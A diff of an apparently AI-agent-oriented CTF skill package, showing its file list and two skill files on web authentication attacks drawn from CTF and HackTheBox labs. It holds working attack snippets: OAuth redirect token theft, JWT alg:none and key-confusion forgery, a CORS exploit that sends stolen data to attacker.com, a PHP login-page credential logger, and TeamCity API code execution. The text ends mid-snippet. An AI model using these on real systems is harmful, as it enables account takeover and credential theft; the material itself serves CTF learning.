ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,321 @@
|
|
|
1
|
+
# CTF Web - OAuth, SAML & Infrastructure Auth Attacks
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [OAuth/OIDC Exploitation](#oauthoidc-exploitation)
|
|
5
|
+
- [Open Redirect Token Theft](#open-redirect-token-theft)
|
|
6
|
+
- [OIDC ID Token Manipulation](#oidc-id-token-manipulation)
|
|
7
|
+
- [OAuth State Parameter CSRF](#oauth-state-parameter-csrf)
|
|
8
|
+
- [CORS Misconfiguration](#cors-misconfiguration)
|
|
9
|
+
- [Git History Credential Leakage (Barrier HTB)](#git-history-credential-leakage-barrier-htb)
|
|
10
|
+
- [CI/CD Variable Credential Theft (Barrier HTB)](#cicd-variable-credential-theft-barrier-htb)
|
|
11
|
+
- [Identity Provider API Takeover (Barrier HTB)](#identity-provider-api-takeover-barrier-htb)
|
|
12
|
+
- [SAML SSO Flow Automation (Barrier HTB)](#saml-sso-flow-automation-barrier-htb)
|
|
13
|
+
- [Apache Guacamole Connection Parameter Extraction (Barrier HTB)](#apache-guacamole-connection-parameter-extraction-barrier-htb)
|
|
14
|
+
- [Login Page Poisoning for Credential Harvesting (Watcher HTB)](#login-page-poisoning-for-credential-harvesting-watcher-htb)
|
|
15
|
+
- [TeamCity REST API RCE (Watcher HTB)](#teamcity-rest-api-rce-watcher-htb)
|
|
16
|
+
- [Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)](#base64-decode-leniency-and-parameter-override-for-signature-bypass-bctf-2016)
|
|
17
|
+
- [Hash Length Extension Attack (ASIS CTF 2017)](#hash-length-extension-attack-asis-ctf-2017)
|
|
18
|
+
|
|
19
|
+
For JWT/JWE token attacks, see [auth-jwt.md](auth-jwt.md). For general auth bypass and access control, see [auth-and-access.md](auth-and-access.md).
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## OAuth/OIDC Exploitation
|
|
24
|
+
|
|
25
|
+
### Open Redirect Token Theft
|
|
26
|
+
```python
|
|
27
|
+
# OAuth authorization with redirect_uri manipulation
|
|
28
|
+
# If redirect_uri validation is weak, steal tokens via open redirect
|
|
29
|
+
import requests
|
|
30
|
+
|
|
31
|
+
# Step 1: Craft malicious authorization URL
|
|
32
|
+
auth_url = "https://target.com/oauth/authorize"
|
|
33
|
+
params = {
|
|
34
|
+
"client_id": "legitimate_client",
|
|
35
|
+
"redirect_uri": "https://target.com/callback/../@attacker.com", # path traversal
|
|
36
|
+
"response_type": "code",
|
|
37
|
+
"scope": "openid profile"
|
|
38
|
+
}
|
|
39
|
+
# Victim clicks → auth code sent to attacker's server
|
|
40
|
+
|
|
41
|
+
# Common redirect_uri bypasses:
|
|
42
|
+
# https://target.com/callback?next=https://evil.com
|
|
43
|
+
# https://target.com/callback/../@evil.com
|
|
44
|
+
# https://target.com/callback%23@evil.com (fragment)
|
|
45
|
+
# https://target.com/callback/.evil.com
|
|
46
|
+
# https://target.com.evil.com (subdomain)
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### OIDC ID Token Manipulation
|
|
50
|
+
```python
|
|
51
|
+
# If server accepts unsigned tokens (alg: none)
|
|
52
|
+
import jwt, json, base64
|
|
53
|
+
|
|
54
|
+
token = "eyJ..." # captured ID token
|
|
55
|
+
header, payload, sig = token.split(".")
|
|
56
|
+
# Decode and modify
|
|
57
|
+
payload_data = json.loads(base64.urlsafe_b64decode(payload + "=="))
|
|
58
|
+
payload_data["sub"] = "admin"
|
|
59
|
+
payload_data["email"] = "admin@target.com"
|
|
60
|
+
|
|
61
|
+
# Re-encode with alg:none
|
|
62
|
+
new_header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b"=")
|
|
63
|
+
new_payload = base64.urlsafe_b64encode(json.dumps(payload_data).encode()).rstrip(b"=")
|
|
64
|
+
forged = f"{new_header.decode()}.{new_payload.decode()}."
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
### OAuth State Parameter CSRF
|
|
68
|
+
```python
|
|
69
|
+
# Missing or predictable state parameter allows CSRF
|
|
70
|
+
# Attacker initiates OAuth flow, captures callback URL with auth code
|
|
71
|
+
# Sends callback URL to victim → victim's session linked to attacker's OAuth account
|
|
72
|
+
|
|
73
|
+
# Detection: Check if state parameter is:
|
|
74
|
+
# 1. Present in authorization request
|
|
75
|
+
# 2. Validated on callback
|
|
76
|
+
# 3. Bound to user session (not just random)
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
**Key insight:** OAuth/OIDC (OpenID Connect) attacks typically target redirect_uri validation (open redirect → token theft), token manipulation (alg:none, JWKS injection), or state parameter CSRF. Always test redirect_uri with path traversal, fragment injection, and subdomain tricks.
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## CORS Misconfiguration
|
|
84
|
+
|
|
85
|
+
```python
|
|
86
|
+
# Test for reflected Origin
|
|
87
|
+
import requests
|
|
88
|
+
|
|
89
|
+
targets = [
|
|
90
|
+
"https://evil.com",
|
|
91
|
+
"https://target.com.evil.com",
|
|
92
|
+
"null",
|
|
93
|
+
"https://target.com%60.evil.com",
|
|
94
|
+
]
|
|
95
|
+
|
|
96
|
+
for origin in targets:
|
|
97
|
+
r = requests.get("https://target.com/api/sensitive",
|
|
98
|
+
headers={"Origin": origin})
|
|
99
|
+
acao = r.headers.get("Access-Control-Allow-Origin", "")
|
|
100
|
+
acac = r.headers.get("Access-Control-Allow-Credentials", "")
|
|
101
|
+
if origin in acao or acao == "*":
|
|
102
|
+
print(f"[!] Reflected: {origin} -> ACAO: {acao}, ACAC: {acac}")
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
```javascript
|
|
106
|
+
// Exploit: steal data via CORS misconfiguration
|
|
107
|
+
// Host on attacker server, victim visits this page
|
|
108
|
+
fetch('https://target.com/api/user/profile', {
|
|
109
|
+
credentials: 'include'
|
|
110
|
+
}).then(r => r.json()).then(data => {
|
|
111
|
+
fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(data)));
|
|
112
|
+
});
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
**Key insight:** CORS (Cross-Origin Resource Sharing) is exploitable when `Access-Control-Allow-Origin` reflects the `Origin` header AND `Access-Control-Allow-Credentials: true`. Check for subdomain matching (`*.target.com` accepts `evil-target.com`), null origin acceptance (`sandbox` iframe), and prefix/suffix matching bugs.
|
|
116
|
+
|
|
117
|
+
---
|
|
118
|
+
|
|
119
|
+
## Git History Credential Leakage (Barrier HTB)
|
|
120
|
+
|
|
121
|
+
Secrets removed in later commits remain in git history. Search the full diff history for deleted credentials:
|
|
122
|
+
```bash
|
|
123
|
+
git log --all --oneline
|
|
124
|
+
git show <first_commit>
|
|
125
|
+
# Search all history for a keyword across all branches:
|
|
126
|
+
git log -p --all -S "password"
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Key insight:** `git log -p --all -S "keyword"` searches every commit diff for any string, including deleted secrets. Always check first commits and removed files.
|
|
130
|
+
|
|
131
|
+
---
|
|
132
|
+
|
|
133
|
+
## CI/CD Variable Credential Theft (Barrier HTB)
|
|
134
|
+
|
|
135
|
+
CI/CD (Continuous Integration/Continuous Deployment) variable settings store secrets (API tokens, passwords) readable by project admins. These are often admin-level tokens for connected services (authentik, Vault, AWS).
|
|
136
|
+
```bash
|
|
137
|
+
# GitLab: Settings -> CI/CD -> Variables (visible to project admins)
|
|
138
|
+
# GitHub: Settings -> Secrets and variables -> Actions
|
|
139
|
+
# Jenkins: Manage Jenkins -> Credentials
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
**Key insight:** CI/CD variables frequently contain service account tokens with elevated privileges. A GitLab project admin can read all CI/CD variables, which may include tokens for identity providers, secret stores, or cloud platforms.
|
|
143
|
+
|
|
144
|
+
---
|
|
145
|
+
|
|
146
|
+
## Identity Provider API Takeover (Barrier HTB)
|
|
147
|
+
|
|
148
|
+
Exploits an admin API token for identity providers (authentik, Keycloak, Okta) to take over any user account.
|
|
149
|
+
|
|
150
|
+
**Attack chain:**
|
|
151
|
+
1. Enumerate users: `GET /api/v3/core/users/`
|
|
152
|
+
2. Set target user's password: `POST /api/v3/core/users/{pk}/set_password/`
|
|
153
|
+
3. Check authentication flow stages — if MFA (Multi-Factor Authentication) has `not_configured_action: skip`, it auto-skips when no MFA devices are configured
|
|
154
|
+
4. Authenticate through flow step-by-step (GET to start stage, POST to submit, follow 302s)
|
|
155
|
+
|
|
156
|
+
**Key insight:** Identity provider admin tokens are the keys to the kingdom. If MFA stages have `not_configured_action: skip`, setting a user's password is sufficient for full account takeover — no MFA bypass needed.
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## SAML SSO Flow Automation (Barrier HTB)
|
|
161
|
+
|
|
162
|
+
Automates SAML (Security Assertion Markup Language) SSO login for services like Guacamole or internal apps when you control IdP (Identity Provider) credentials.
|
|
163
|
+
|
|
164
|
+
**Steps:**
|
|
165
|
+
1. Start login flow at the service — capture `SAMLRequest` + `RelayState` from the redirect
|
|
166
|
+
2. Authenticate with IdP (via API or session)
|
|
167
|
+
3. Submit IdP's signed `SAMLResponse` + original `RelayState` to service callback
|
|
168
|
+
4. Extract auth token from state parameter redirect
|
|
169
|
+
|
|
170
|
+
**Key insight:** Preserve `RelayState` through the entire flow — it correlates the callback with the login request. Mismatched `RelayState` causes authentication failure even with a valid `SAMLResponse`.
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Apache Guacamole Connection Parameter Extraction (Barrier HTB)
|
|
175
|
+
|
|
176
|
+
Apache Guacamole stores SSH keys, passwords, and connection details in MySQL. Extract them with DB access or an authenticated API token:
|
|
177
|
+
```bash
|
|
178
|
+
# Via API with auth token
|
|
179
|
+
curl "http://TARGET:8080/guacamole/api/session/data/mysql/connections/1/parameters?token=$TOKEN"
|
|
180
|
+
# Returns: hostname, port, username, private-key, passphrase
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
```sql
|
|
184
|
+
-- Via MySQL directly
|
|
185
|
+
SELECT c.connection_name, cp.parameter_name, cp.parameter_value
|
|
186
|
+
FROM guacamole_connection c
|
|
187
|
+
JOIN guacamole_connection_parameter cp ON c.connection_id = cp.connection_id;
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**Key insight:** Guacamole connection parameters contain plaintext SSH private keys and passphrases. A single API token or database access exposes credentials for every managed host.
|
|
191
|
+
|
|
192
|
+
---
|
|
193
|
+
|
|
194
|
+
## Login Page Poisoning for Credential Harvesting (Watcher HTB)
|
|
195
|
+
|
|
196
|
+
Injects a credential logger into the web app login page to capture plaintext passwords:
|
|
197
|
+
```php
|
|
198
|
+
// Add after successful login check in index.php:
|
|
199
|
+
$f = fopen('/dev/shm/creds.txt', 'a+');
|
|
200
|
+
fputs($f, "{$_POST['name']}:{$_POST['password']}\n");
|
|
201
|
+
fclose($f);
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
Wait for automated logins (bots, cron scripts). Check audit logs for frequently-logging-in users — they likely have hardcoded credentials you can harvest.
|
|
205
|
+
|
|
206
|
+
**Key insight:** `/dev/shm/` is a tmpfs mount writable by any user and invisible to most monitoring. Automated services (backup scripts, health checks) often authenticate with elevated credentials on predictable schedules.
|
|
207
|
+
|
|
208
|
+
---
|
|
209
|
+
|
|
210
|
+
## TeamCity REST API RCE (Watcher HTB)
|
|
211
|
+
|
|
212
|
+
Exploits TeamCity admin credentials to achieve RCE (Remote Code Execution) through build step injection:
|
|
213
|
+
```bash
|
|
214
|
+
# 1. Create project
|
|
215
|
+
curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects' \
|
|
216
|
+
-u 'USER:PASS' -H 'Content-Type: application/xml' \
|
|
217
|
+
-d '<newProjectDescription name="pwn" id="pwn"><parentProject locator="id:_Root"/></newProjectDescription>'
|
|
218
|
+
|
|
219
|
+
# 2. Create build config
|
|
220
|
+
curl -X POST 'http://HOST:8111/httpAuth/app/rest/projects/pwn/buildTypes' \
|
|
221
|
+
-u 'USER:PASS' -H 'Content-Type: application/xml' \
|
|
222
|
+
-d '<newBuildTypeDescription name="rce" id="rce"><project id="pwn"/></newBuildTypeDescription>'
|
|
223
|
+
|
|
224
|
+
# 3. Add command-line build step
|
|
225
|
+
curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildTypes/id:rce/steps' \
|
|
226
|
+
-u 'USER:PASS' -H 'Content-Type: application/xml' \
|
|
227
|
+
-d '<step name="cmd" type="simpleRunner"><properties>
|
|
228
|
+
<property name="script.content" value="cat /root/root.txt"/>
|
|
229
|
+
<property name="use.custom.script" value="true"/>
|
|
230
|
+
</properties></step>'
|
|
231
|
+
|
|
232
|
+
# 4. Trigger build
|
|
233
|
+
curl -X POST 'http://HOST:8111/httpAuth/app/rest/buildQueue' \
|
|
234
|
+
-u 'USER:PASS' -H 'Content-Type: application/xml' \
|
|
235
|
+
-d '<build><buildType id="rce"/></build>'
|
|
236
|
+
|
|
237
|
+
# 5. Read build log for output
|
|
238
|
+
curl 'http://HOST:8111/httpAuth/downloadBuildLog.html?buildId=ID' -u 'USER:PASS'
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
**Key insight:** If build agent runs as root, all build steps execute as root. Check `ps aux` for build agent process ownership. TeamCity REST API provides full project/build management — admin credentials = RCE.
|
|
242
|
+
|
|
243
|
+
---
|
|
244
|
+
|
|
245
|
+
## Base64 Decode Leniency and Parameter Override for Signature Bypass (BCTF 2016)
|
|
246
|
+
|
|
247
|
+
Server RSA-signs an order string, then parses `&`-separated parameters. Python's `b64decode()` silently ignores non-base64 characters. Appending `&price=0` after the base64 signature exploits both behaviors:
|
|
248
|
+
|
|
249
|
+
```python
|
|
250
|
+
# Original signed order: "item=widget&price=100"
|
|
251
|
+
# Server returns: base64(RSA_sign(order)) as signature
|
|
252
|
+
|
|
253
|
+
# Attack: append &price=0 after the signature
|
|
254
|
+
# b64decode("VALID_SIG_BASE64&price=0") silently ignores "&price=0"
|
|
255
|
+
# But the parameter parser sees: item=widget&price=100&price=0
|
|
256
|
+
# Last value wins: price=0
|
|
257
|
+
```
|
|
258
|
+
|
|
259
|
+
**Key insight:** Gap between what is signed (pre-signature content) and what is parsed (full string including post-signature data), enabled by base64's tolerance for non-alphabet characters. Any system that concatenates signed data with unsigned parameters and uses lenient base64 decoding is vulnerable. Defense: validate signature over the exact bytes being parsed, not a subset.
|
|
260
|
+
|
|
261
|
+
---
|
|
262
|
+
|
|
263
|
+
## Hash Length Extension Attack (ASIS CTF 2017)
|
|
264
|
+
|
|
265
|
+
*See also [ctf-crypto/modern-ciphers-2.md — Hash Length Extension Attack (PlaidCTF 2014)](../ctf-crypto/modern-ciphers-2.md#hash-length-extension-attack-plaidctf-2014) for the canonical crypto writeup of the same primitive.*
|
|
266
|
+
|
|
267
|
+
**Pattern:** Merkle-Damgård hash functions (MD5, SHA-1, SHA-256) used as `MAC = H(secret || message)` are vulnerable to length extension. Given `H(secret || message)` and the length of `secret`, an attacker can compute `H(secret || message || padding || extension)` without knowing the secret. The internal hash state at the end of the original digest is sufficient to continue hashing.
|
|
268
|
+
|
|
269
|
+
```python
|
|
270
|
+
# Vulnerable MAC construction:
|
|
271
|
+
import hashlib
|
|
272
|
+
mac = hashlib.sha256(secret + message).hexdigest()
|
|
273
|
+
# Server sends: mac + message to client, verifies by recomputing H(secret || message)
|
|
274
|
+
|
|
275
|
+
# Attack: extend the message without knowing the secret
|
|
276
|
+
# hashpumpy does the heavy lifting:
|
|
277
|
+
import hashpumpy
|
|
278
|
+
|
|
279
|
+
original_mac = "a1b2c3..." # known hash
|
|
280
|
+
original_msg = b"user=alice" # known message
|
|
281
|
+
secret_len = 16 # known or brute-forced (try 1-100)
|
|
282
|
+
extension = b"&admin=true" # data to append
|
|
283
|
+
|
|
284
|
+
new_mac, new_msg = hashpumpy.hashpump(
|
|
285
|
+
original_mac, # original hexdigest
|
|
286
|
+
original_msg, # original data (without secret)
|
|
287
|
+
extension, # data to append
|
|
288
|
+
secret_len # secret length
|
|
289
|
+
)
|
|
290
|
+
|
|
291
|
+
# new_msg = original_msg + padding + extension
|
|
292
|
+
# new_mac = valid H(secret || new_msg) without knowing secret
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
```bash
|
|
296
|
+
# Alternative: hash_extender tool
|
|
297
|
+
hash_extender \
|
|
298
|
+
--data "user=alice" \
|
|
299
|
+
--secret-min 1 --secret-max 50 \
|
|
300
|
+
--append "&admin=true" \
|
|
301
|
+
--signature "a1b2c3..." \
|
|
302
|
+
--format sha256
|
|
303
|
+
|
|
304
|
+
# Or: manual Python with hashpumpy, brute-force secret length
|
|
305
|
+
for length in range(1, 101):
|
|
306
|
+
new_mac, new_msg = hashpumpy.hashpump(orig_mac, orig_msg, extension, length)
|
|
307
|
+
r = requests.get(url, params={"data": new_msg.hex(), "mac": new_mac})
|
|
308
|
+
if "success" in r.text:
|
|
309
|
+
print(f"Secret length: {length}, Flag: {r.text}")
|
|
310
|
+
break
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
**Padding structure:** Between the original message and the extension, the hash algorithm inserts its standard padding:
|
|
314
|
+
```text
|
|
315
|
+
original_msg || 0x80 || 0x00...0x00 || length_in_bits (8 bytes big-endian)
|
|
316
|
+
```
|
|
317
|
+
This padding is part of `new_msg` — the server will verify it as-is.
|
|
318
|
+
|
|
319
|
+
**Vulnerable algorithms:** MD5, SHA-1, SHA-224, SHA-256, SHA-384, SHA-512 (all Merkle-Damgård). **Not vulnerable:** HMAC (uses two separate hash passes), SHA-3/Keccak (sponge construction), BLAKE2/3.
|
|
320
|
+
|
|
321
|
+
**Key insight:** Any Merkle-Damgård hash used as `H(secret || data)` without HMAC construction leaks internal state at the message boundary, enabling arbitrary message extension. Use `hashpumpy` or `hash_extender`. If the secret length is unknown, brute-force it (1-100 is a reasonable range for CTFs) — the valid extension will produce a server-accepted MAC.
|
|
@@ -0,0 +1,186 @@
|
|
|
1
|
+
# CTF Web - JWT & JWE Token Attacks
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Algorithm None](#algorithm-none)
|
|
5
|
+
- [Algorithm Confusion (RS256 to HS256)](#algorithm-confusion-rs256-to-hs256)
|
|
6
|
+
- [Weak Secret Brute-Force](#weak-secret-brute-force)
|
|
7
|
+
- [Unverified Signature (Crypto-Cat)](#unverified-signature-crypto-cat)
|
|
8
|
+
- [JWK Header Injection (Crypto-Cat)](#jwk-header-injection-crypto-cat)
|
|
9
|
+
- [JKU Header Injection (Crypto-Cat)](#jku-header-injection-crypto-cat)
|
|
10
|
+
- [KID Path Traversal (Crypto-Cat)](#kid-path-traversal-crypto-cat)
|
|
11
|
+
- [JWT Balance Replay (MetaShop Pattern)](#jwt-balance-replay-metashop-pattern)
|
|
12
|
+
- [JWE Token Forgery with Exposed Public Key (UTCTF 2026)](#jwe-token-forgery-with-exposed-public-key-utctf-2026)
|
|
13
|
+
- [AES Cookie Length-Field Truncation + CRC32 Swap (DefCamp 2018)](#aes-cookie-length-field-truncation--crc32-swap-defcamp-2018)
|
|
14
|
+
|
|
15
|
+
For general auth bypass, access control, and session attacks, see [auth-and-access.md](auth-and-access.md). For OAuth/OIDC, SAML, CI/CD credential theft, and infrastructure auth attacks, see [auth-infra.md](auth-infra.md).
|
|
16
|
+
|
|
17
|
+
---
|
|
18
|
+
|
|
19
|
+
## Algorithm None
|
|
20
|
+
Remove signature, set `"alg": "none"` in header.
|
|
21
|
+
|
|
22
|
+
## Algorithm Confusion (RS256 to HS256)
|
|
23
|
+
App accepts both RS256 and HS256, uses public key for both:
|
|
24
|
+
```javascript
|
|
25
|
+
const jwt = require('jsonwebtoken');
|
|
26
|
+
const publicKey = '-----BEGIN PUBLIC KEY-----\n...\n-----END PUBLIC KEY-----';
|
|
27
|
+
const token = jwt.sign({ username: 'admin' }, publicKey, { algorithm: 'HS256' });
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## Weak Secret Brute-Force
|
|
31
|
+
```bash
|
|
32
|
+
flask-unsign --decode --cookie "eyJ..."
|
|
33
|
+
hashcat -m 16500 jwt.txt wordlist.txt
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## Unverified Signature (Crypto-Cat)
|
|
37
|
+
Server decodes JWT without verifying the signature. Modify payload claims and re-encode with the original (unchecked) signature:
|
|
38
|
+
```python
|
|
39
|
+
import jwt, base64, json
|
|
40
|
+
|
|
41
|
+
token = "eyJ..."
|
|
42
|
+
parts = token.split('.')
|
|
43
|
+
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
|
|
44
|
+
payload['sub'] = 'administrator'
|
|
45
|
+
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
|
|
46
|
+
forged = f"{parts[0]}.{new_payload}.{parts[2]}"
|
|
47
|
+
```
|
|
48
|
+
**Key insight:** Some JWT libraries have separate `decode()` (no verification) and `verify()` functions. If the server uses `decode()` only, the signature is never checked.
|
|
49
|
+
|
|
50
|
+
## JWK Header Injection (Crypto-Cat)
|
|
51
|
+
Server accepts JWK (JSON Web Key) embedded in JWT header without validation. Sign with attacker-generated RSA key, embed matching public key:
|
|
52
|
+
```python
|
|
53
|
+
from cryptography.hazmat.primitives.asymmetric import rsa
|
|
54
|
+
from cryptography.hazmat.backends import default_backend
|
|
55
|
+
import jwt, base64
|
|
56
|
+
|
|
57
|
+
private_key = rsa.generate_private_key(65537, 2048, default_backend())
|
|
58
|
+
public_numbers = private_key.public_key().public_numbers()
|
|
59
|
+
|
|
60
|
+
jwk = {
|
|
61
|
+
